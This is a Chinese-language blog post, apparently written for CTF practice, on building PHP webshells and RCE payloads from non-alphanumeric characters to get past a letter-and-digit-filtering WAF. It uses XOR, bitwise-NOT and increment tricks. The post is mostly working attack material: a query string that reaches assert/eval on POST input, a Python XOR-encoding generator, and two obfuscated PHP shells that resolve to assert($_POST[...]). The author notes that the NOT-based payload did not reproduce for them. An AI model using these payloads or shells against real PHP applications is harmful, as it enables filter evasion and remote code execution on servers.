无字母数字RCE

作者: const27 分类: All,RCE 发布时间: 2020-06-03 12:01

无字母数字的rce shell编写

image

做题时,会遇到正则过滤掉所有字母和数字的情况,这种时候我们如何写shell呢
有三种思路:异或 取反 自增
我们的waf

1.异或

先让我们看看一种传参方法:

?shell=$_GET{"b"}();&b=phpinfo  //括号必须放在shell外哦,但是仅能传入无参数指令
image

这是一种看上去比较怪异但是是可行的传参方法,主要运用了php函数可以拼接执行的原理
然后说说重点,通过异或符和{}来构造任意字符
使用异或符^的时候,实际上是把左右两边字符转换成二进制后再每个数每个数异或。
你可以 %ff^%a0,也可以一次性塞很多字符进去 %ff%ff%ff%ff%ff%ff%ff%ff^%8f%97%8f%96%91%99%90%a3 后者的异或顺序是按照左右顺序一一对应异或的
当我们遇到上图的waf时,可以这么传参

${/*_GET/}{/*任意不可显字符a/}();&a=phpinfo ,仅能进行无参数指令, ,下划线也必须放在{}里一起异或

image
image

getshell式:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(${%ff%ff%ff%ff^%a0%b8%ba%ab}{%fa});&%ff=assert&%fa=eval($_POST['a'])

上面是异或的一种方式,下面还有一种异或的方式
我们知道eval可以同时传入多组命令,我们何尝不试试在一个参数内完成命令拼接呢。
这是没有waf的时候的情形,证明是可以这样搞得

现在我们把waf上起,再来试试

确实搞起了,这种方法是可以传入有参数的指令的
把异或字符的脚本放出来

strs=input()
break2=False
ans=''
lef=''
rig=''
for s in strs:
    break2=False
    for i in range(255,256):
        if (break2):
            break
        for j in range(1,256):
            if s==chr(i^j):
                a=hex(i).replace("0x","%")
                b=hex(j).replace("0x","%")
                print("%s:(%s^%s)"%(s,a,b))
                ans+="(%s^%s)."%(a,b)
                lef+=a
                rig+=b
print(ans)
print(lef+'^'+rig)

2.取反

image

~为取反符,能把某个字符取反,通过这个思路来拼接assert函数也可以达到目的

~('俯'{2})  P
~(’瞰‘{2})  O
~('次'{1})  S
~('站'{1})  T

payload先放这里(不知道咋回事怎么都复现不了)

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);  //assert($_POST[2]])

3.自增

php>5.4才奏效,因为只有大于5.4时[]才能被当作一个数组
原理是 ‘A’++会变成’B’. ‘a’++会变成’b’
同时我们可以通过[]空数组来获得Array,从而获得A和a来进行自增从而变化成我们想要的字符
然后我们就可以通过这个A自加来获得其他字符了
这里放payload

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云